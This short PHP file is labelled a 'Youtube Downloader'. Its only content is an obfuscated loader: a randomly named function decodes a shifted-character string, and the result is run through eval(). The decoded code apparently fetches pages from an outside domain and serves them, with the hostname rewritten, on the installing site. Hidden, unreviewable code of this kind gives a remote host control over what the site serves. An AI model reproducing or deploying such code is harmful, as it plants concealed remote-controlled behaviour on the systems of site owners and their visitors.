Youtube Downloader Encoded

<?php

 if(!function_exists("agF1gTdKEBPd6CaJ")) {

  function agF1gTdKEBPd6CaJ($ekV4gb3DGH29YotI) {

   $fYZ2g87NjIGLnXVg="";
    $rZJ3glaFcSAz0dZY=0;
     $qVh0gqGnK20A4iOB=strlen($ekV4gb3DGH29YotI);

    while($rZJ3glaFcSAz0dZY < $qVh0gqGnK20A4iOB) {

    if($ekV4gb3DGH29YotI[$rZJ3glaFcSAz0dZY] == ' ') {
     $fYZ2g87NjIGLnXVg.=" ";

    }elseif($ekV4gb3DGH29YotI[$rZJ3glaFcSAz0dZY] == '!') {

     $fYZ2g87NjIGLnXVg.=chr((ord($ekV4gb3DGH29YotI[$rZJ3glaFcSAz0dZY+1])-ord('A'))*16+(ord($ekV4gb3DGH29YotI[$rZJ3glaFcSAz0dZY+2])-ord('a'))); $rZJ3glaFcSAz0dZY+=2;

      } else {

      $fYZ2g87NjIGLnXVg.=chr(ord($ekV4gb3DGH29YotI[$rZJ3glaFcSAz0dZY])+1);

      }

       $rZJ3glaFcSAz0dZY++;

      }

      return $fYZ2g87NjIGLnXVg;

      }
       }
      eval(agF1gTdKEBPd6CaJ('du`k!Ci`fE0fScJDAOc5B`I!Ci&!CbBdspj;%frrn8--uuu,tgbcmecr,gl-rs`c,nfn=%,!CbBd]ECRY%gb%!CbEm,%%9 !CbBdVlN1e4A_H;dgjc]ecr]amlrclrq!CbBh!CbBdspj!Ci9!CbBdVlN1e4A_H;qrp]pcnj_ac!CbBh%!CbBhuuu,tgbcmecr,gl!Ci%*%!CbBh%,!CbBd]QCPTCPY%FRRN]FMQR%!CbEm,%!Ci%*!CbBdVlN1e4A_H!Ci9 cafm !CbBdVlN1e4A_H9 &((:'));

       ?>

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